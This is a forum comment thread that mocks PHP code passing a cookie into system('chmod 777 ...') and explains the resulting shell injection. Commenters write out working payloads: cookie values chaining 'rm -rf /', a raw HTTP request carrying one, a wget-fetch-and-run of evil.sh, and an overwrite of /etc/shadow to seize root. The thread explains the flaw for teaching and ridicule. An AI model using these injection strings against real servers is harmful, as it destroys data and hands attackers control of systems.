Comment On The Deadly Cookie

chmod Frist

I cannot comprehend why this would end up in a freakin' COOKIE of all places. Wow.

I don't fully understand this. Why is that bad?

system("chmod 777 " . $_COOKIE["$sessionid"]);

So, if I understand this correctly, all you'd need to do is set the cookie to "/; rm -rf /" to see if whoever was responsible for this mess thought to make backups.

Konstantin:

I don't understand fully this. Why is that bad?

Look up what the chmod command does in a Unix-like system.

Personally, my jaw hit the floor. It hurt.

To clarify for the windows folks out there, chmod is a Unix command that alters permissions on files out there. Effectively this was a cookie - command injection that opened up someone's entire file system, and could be further mangled then to do more devastating stuff to the system. I do hope the account that the code was banking under had somewhere less than root privileges, cuz anyone who mangled a cookie could execute anything he wanted within the permissions of that account...

... and if the "system()" call does what a couple of previous posters think it does ...

Wow.

$_COOKIE[$sessionid] = '/; [$[$RANDOM % 6] == 0] && echo "Hes dead Jim";rm -rf  / || echo "Roll again"';

captcha: ingenium...... like the guy we thank for today's WTF

Why do you still focus on chmod? It is system() with an arbitrary string.

Machtyn:

Celina Nunes:

$_COOKIE["$sessionid"] = "/"; 

system("chmod 777 " . $_COOKIE["$sessionid"]);

Essentially, what an attacker will be able to do is make every single file readable, writeable, and executable for the owner, group, and all users.

Yay! Free access to a linux system and every single file!

Worse than that. It wipes the setuid bit everywhere. That means, for instance, that you can no longer 'sudo' to become root, because /usr/bin/sudo is usually -rwsr-xr-x which means that, when you execute it, it executes as root. That's how it's able to elevate your privileges. Making it -rwxrwxrwx (as this command would do) means it'll run as your current login, the way most executables do... which means it's now pretty much impossible to recover the system. Yep, you're gonna have to take the system down, boot some other media, and *MAYBE* then you'll be able to patch things up.

Hopefully the scripts are running as a restricted user (at very least, non-root), but if he has a hole this huge in his code, maybe that's not safe to assume...

@Machtyn "How do you..."

Easy, you open his website in your browser, then go to your cookie folder and find the cookie for his website.

Open it in your favorite text editor, and you'll find a few lines like
somevar somevalue
someothervar someothervalue
SESS_ID as9d876d783i12oij34t

Change this to something like:


somevar somevalue
someothervar someothervalue
SESS_ID /; rm -f /

And you get the picture.... and an empty HD on the server (if the apache server is running as a user that has that sorta access rights...

captcha: praesent.... Hey admin, I got a praesent for you :)

Machtyn:

How one actually sets the $_COOKIE["$sessionid"], I'm not sure (rewrite the html or javascript and insert the equality line? modify the cookie the website wrote to your system?)

As to this - $_COOKIE holds cookies, so all you need to do is send an HTTP request with

Cookie: blahblah=/

where blahblah is your session ID (as would be in the $sessionid variable) - probably itself available to you as either another cookie or a query variable.

telnet 3000.employee.company.com 80
...

GET /index.html HTTP/1.0
Cookie: sessionid="/tmp/xx; rm -rf /"
HOST: 3000.employee.company.com

[quot]How one actually sets the $_COOKIE["$sessionid"], I'm not sure (rewrite the html or javascript and insert the equality line? modify the cookie the website wrote to your system?)
[/quot]
How about the cookie-editor that comes with firefox. There are also many hacker tools/penetration test tools that do this for you as part of the probing process in the first phases of a penentration test.

$_COOKIE["$sessionid"] = "; wget http://myserv.com/evil.sh; chmod +x evil.sh; ./evil.sh";

Quick explanation for people who still aren't getting it: a) the code has a shell injection vulnerability that allows visitors to the website to run arbitrary code on the server; b) even if that vulnerability weren't present, the intended behaviour of the code (removing all security restrictions on an arbitrary file specified by a cookie) is also a vulnerability. (The user can change the cookies they send to the site using a browser add-on, or just a quick line of JavaScript typed into the address bar; there are more sophisticated methods like writing an HTTP request by hand, but they wouldn't even be needed here.)

While I get that that snippet of code is changing the file permissions for the files under $sessionid, what I'm not getting is how does the attacker know there is such a snippet running?

Is this like in a list of things attackers look for?

E.g.

...

42: look to see if they're stupid enough to have a system call to change file permissions?

...

Machtyn:

Essentially, what an attacker will be able to do is make every single file readable, writeable, and executable for the owner, group, and all users.

Yay! Free access to a linux system and every single file! Including root access, hash files, configurations, ... everything. Want to setup a zombie? There's your system.

How one actually sets the $_COOKIE["$sessionid"], I'm not sure (rewrite the html or javascript and insert the equality line? modify the cookie the website wrote to your system?)

The "chmod -777 /" won't actually do that for you. It will just change the permissions of the root directory, but only if the launching user on the server has permission to do so.

But of course you can add whatever you like in there instead of just "/", and "/; rm -rf /" seems to be a favourite, for good reasons:

The command is then "chmod -777 /; rm -rf /", i.e. give everyone full access to the root directory, then delete everything.

For those arguing about Windows being immune to this versus it affecting Linux, well, duh, of course it won't affect Windows systems, because you know it is running on a UNIX-a-like server, because chmod isn't a Windows command.

Theoretically, attacking this vulnerability would affect BSDs, Solaris, etc. just as easily as Linux, and on BSDs it might actually do more damage than on Linux. Linux (on e2fs, not sure about others) will not remove a directory that is "." for any process, while FreeBSD on ufs most certainly will.

Any **correctly secured** system will absolutely resist this particular attack, although the one suggested to download an evil.sh and run it has more wide-ranging possibilities.

Machtyn:

Essentially, what an attacker will be able to do is make every single file readable, writeable, and executable for the owner, group, and all users.

Yay! Free access to a linux system and every single file! Including root access, hash files, configurations, ... everything. Want to setup a zombie? There's your system.

How one actually sets the $_COOKIE["$sessionid"], I'm not sure (rewrite the html or javascript and insert the equality line? modify the cookie the website wrote to your system?)

The "chmod -777 /" won't actually do that for you. It will just change the permissions of the root directory, but only if the launching user on the server has permission to do so.

But of course you can add whatever you like in there instead of just "/", and "/; rm -rf /" seems to be a favourite, for good reasons:

The command is then "chmod -777 /; rm -rf /", i.e. give everyone full access to the root directory, then delete everything.

For those arguing about Windows being immune to this versus it affecting Linux, well, duh, of course it won't affect Windows systems, because you know it is running on a UNIX-a-like server, because chmod isn't a Windows command.

Theoretically, attacking this vulnerability would affect BSDs, Solaris, etc. just as easily as Linux, and on BSDs it might actually do more damage than on Linux. Linux (on e2fs, not sure about others) will not remove a directory that is "." for any process, while FreeBSD on ufs most certainly will.

Any **correctly secured** system will absolutely resist this particular attack, although the one suggested to download an evil.sh and run it has more wide-ranging possibilities.

dguthurts:

While I get that that snippet of code is changing the file permissions for the files under $sessionid, what I'm not getting is how does the attacker know there is such a snippet running?

Is this like in a list of things attackers look for?

E.g.

...

42: look to see if they're stupid enough to have a system call to change file permissions?

...

Yes, definitely. Because it is a very common mistake, and trivial to attack.

Wow, cookie penetration on command, vulnerability to injection, jaws opening so fast they hit the floor... this sounds like my kind of job!

Just because the developers are incompetent does not mean the system administrators and operators are, there is no reason to think you get root this way. The server daemon hopefully is running as a less privileged user and group; hey we might get really lucky and it might be in a chroot environment.

That said passing the contents of cookie to the shell with is a pretty good WTF

Machtyn:

Essentially, what an attacker will be able to do is make every single file readable, writeable, and executable for the owner, group, and all users.

The chmod command is not recursive by default, and I doubt the webserver process has permission to modify the root directory.

Geoff:

Just because the developers are incompetent does not mean the system administrators and operators are

Uhm, many times they are the same person. And chances are that if they are having to do a chmod 777 on a file it's because they have no clue how *nix security works and that increases the odds that they're running the server under root, especially if they're a transplant from the Windows world and used to doing/running everything as Administrator

Can we IP ban these idiots? This Nagesh crap was fun the first time, but now it's just spam and trolling and detracts from the comments.

I will take "/etc/shadow" or "/etc/passwd" as my cookie please.
And then close the session (obviously, the garbage collector will delete my session-cookie...)

May be "/bin/sh" and variantes are better cookies... no more login shell, end of problem.

And if that didn't work, the attacker could craft a program that sends out hand crafted, raw TCP, IP, or Ethernet packets of his choice.

Always assume *everything* you get from the user could be malicious.

ObiWayneKenobi:

Can we IP ban these idiots? This Nagesh crap was fun the first time, but now it's just spam and trolling and detracts from the comments.

As opposed to highly productive whining?

TRWTF is using Linux these days

el_timm:

telnet 3000.employee.company.com 80
...

GET /index.html HTTP/1.0
Cookie: sessionid="/tmp/xx; rm -rf /"
HOST: 3000.employee.company.com

And if that didn't work, the attacker could craft a program that sends out hand crafted, raw TCP, IP, or Ethernet packets of his choice.

Always assume *everything* you get from the user could be malicious.

ObiWayneKenobi:

Can we IP ban these idiots? This Nagesh crap was fun the first time, but now it's just spam and trolling and detracts from the comments.

You must be new here..

C language is for cookie that's good enough for me.

Brain537:

$_COOKIE["$sessionid"] = "; wget http://myserv.com/evil.sh; chmod +x evil.sh; ./evil.sh";

Actually you could just skip the steps of sending over the script and making it executable - just append the contents of evil.sh to the cookie text. Then you can do your evil and leave no trace on the system (except for the results of your evil deeds).

$_COOKIE["$sessionid"] = '/tmp; echo "ur site is now Happy, Sparkly, Glittery, Fun, Magical, Lovely, Cute, Charming, Amazing, and Wonderful!"; wget http://www.cornify.com/getacorn.php; find / -iname *.jpg | xargs cp getacorn.php; '

Geoff:

Just because the developers are incompetent does not mean the system administrators and operators are, there is no reason to think you get root this way. The server daemon hopefully is running as a less privileged user and group; hey we might get really lucky and it might be in a chroot environment.

Web servers usually don't run chrooted because they are frequently configured to provide access to user files. That said, it's also usually considered good practice to run them as a restricted user account with less privileges than a normal user, which stops a lot of nonsense. (It's doubly good when access to filesystems is done through something like AFS, since you can use ACLs to prevent the webserver from writing anything at all it's not supposed to; such systems can even be resistant to breaking the root account, because root doesn't have AFS privs. It drives PHP coders up the wall though, as most of their usual dirty hacks simply fail in a puff of digital security. But this is a bit more restricted than most servers are…)

Geoff:

That said passing the contents of cookie to the shell with is a pretty good WTF

Yep. Best in a good while. (Assuming they've not verified that the cookie is “nice”, but I'd be startled if they were that careful.)

frits:

ObiWayneKenobi:

Can we IP ban these idiots? This Nagesh crap was fun the first time, but now it's just spam and trolling and detracts from the comments.

As opposed to highly productive whining?

Hey, I for one enjoy all the whining. If you don't like it, then you can just go to a more mature website.

dkf:

Geoff:

Just because the developers are incompetent does not mean the system administrators and operators are, there is no reason to think you get root this way. The server daemon hopefully is running as a less privileged user and group; hey we might get really lucky and it might be in a chroot environment.

Web servers usually don't run chrooted because they are frequently configured to provide access to user files. That said, it's also usually considered good practice to run them as a restricted user account with less privileges than a normal user, which stops a lot of nonsense. (It's doubly good when access to filesystems is done through something like AFS, since you can use ACLs to prevent the webserver from writing anything at all it's not supposed to; such systems can even be resistant to breaking the root account, because root doesn't have AFS privs. It drives PHP coders up the wall though, as most of their usual dirty hacks simply fail in a puff of digital security. But this is a bit more restricted than most servers are…)

Geoff:

That said passing the contents of cookie to the shell with is a pretty good WTF

Yep. Best in a good while. (Assuming they've not verified that the cookie is “nice”, but I'd be startled if they were that careful.)

My coleague say most times, web app run as user also having rights to deletion all server files. Perhaps db is safe under this scenario.

Don't be a H8R.

I undertake project in java, if you need help with
homework, contact me.

dkf:

(Assuming they've not verified that the cookie is “nice”, but I'd be startled if they were that careful.)

I'm starting to feel like getting any cookie would be nice.

CAPTCHA: mara - my first cookie

Essentially, what an attacker will be able to do is make every single file readable, writeable, and executable for the owner, group, and all users.

You're not quite right - it only makes that change for every file in every directory that the Apache user has write access to. You aren't running Apache as root, are you?

Of course, if the admin was dumb enough to run the webserver as root, you can use this to inject whatever shell command you like, like this:

$_COOKIE["$sessionid"] = '.; echo "shadow file contents with known password" > /etc/shadow'

so that you know the root login but the admin doesn't. Then you can use the same technique to make sure sshd is up and running, and no longer have to worry about all that pesky cookie mangling. There are defenses against this, of course, but an admin who doesn't know the dangers of running servers as root also probably doesn't know about the defenses.

As far as how to mangle your cookies, there are Firefox plugins to help you do just that.

Didn't get that at first glance, but as soon as I read the first explanation it was a classic jawdrop...

How does code like this get past even the simplest tests? Surely the dev must have known this was bad?

boog:

frits:

ObiWayneKenobi:

Can we IP ban these idiots? This Nagesh crap was fun the first time, but now it's just spam and trolling and detracts from the comments.

As opposed to highly productive whining?

Hey, I for one enjoy all the whining. If you don't like it, then you can just go to a more mature website.

I don't understand. All my favorite mature websites feature plentiful whining and moaning.

Some other things there are so bountiful, that I really doubt the realism, though.

CAPTCHA inhibeo - They all feature plenty of inhibeo behavior

Of course. chmod not recursive by default. That little bit of info nagged me after I submitted it. Ah, well.

$_COOKIE["$sessionid"] = "/ -R";

system("chmod 777 " . $_COOKIE["$sessionid"]);

Krikkit:

How does code like this get past even the simplest tests? Surely the dev must have known this was bad?

Most time, this is being caused by work-arounds to more complesk isues, and programer is not considering basic scenario.

Also, security is not being primary gole of developer: developing of software is being primary gole of developer.

Krikkit:

Didn't get that at first glance, but as soon as I read the first explanation it was a classic jawdrop...

How does code like this get past even the simplest tests? Surely the dev must have known this was bad?

Apparently Surely was put on another project.

frits:

C language is for cookie that's good enough for me.

I eat your... COOKIE!! Om nom nom nom...

boog:

frits:

ObiWayneKenobi:

Can we IP ban these idiots? This Nagesh crap was fun the first time, but now it's just spam and trolling and detracts from the comments.

As opposed to highly productive whining?

Hey, I for one enjoy all the whining. If you don't like it, then you can just go to a more mature website.

I enjoy pointing out whining. This means I actually want more whining so I can point it out. I also enjoy all the Nageshen.

Where did Celina Nunes' comment go?

It's quoted in a blue comment but has disappeared from the regular postings.

Machtyn:

How one actually sets the $_COOKIE["$sessionid"], I'm not sure (rewrite the html or javascript and insert the equality line? modify the cookie the website wrote to your system?)

There are a lot of tools to do this, but the easiest way would be to modify the cookie with a browser add-on like firecookie for firefox. Eyeballing it, that code above looks like PHP, so the cookie would be named $sessionid on your system. Then just edit the cookie and reload the current page (or browse to the next).

C-Octothorpe:

frits:

C language is for cookie that's good enough for me.

I eat your... COOKIE!! Om nom nom nom...

I thought frits was a... Well he did say something about having a baby... Oh, well who am I to judge.

I think it's hot, personally.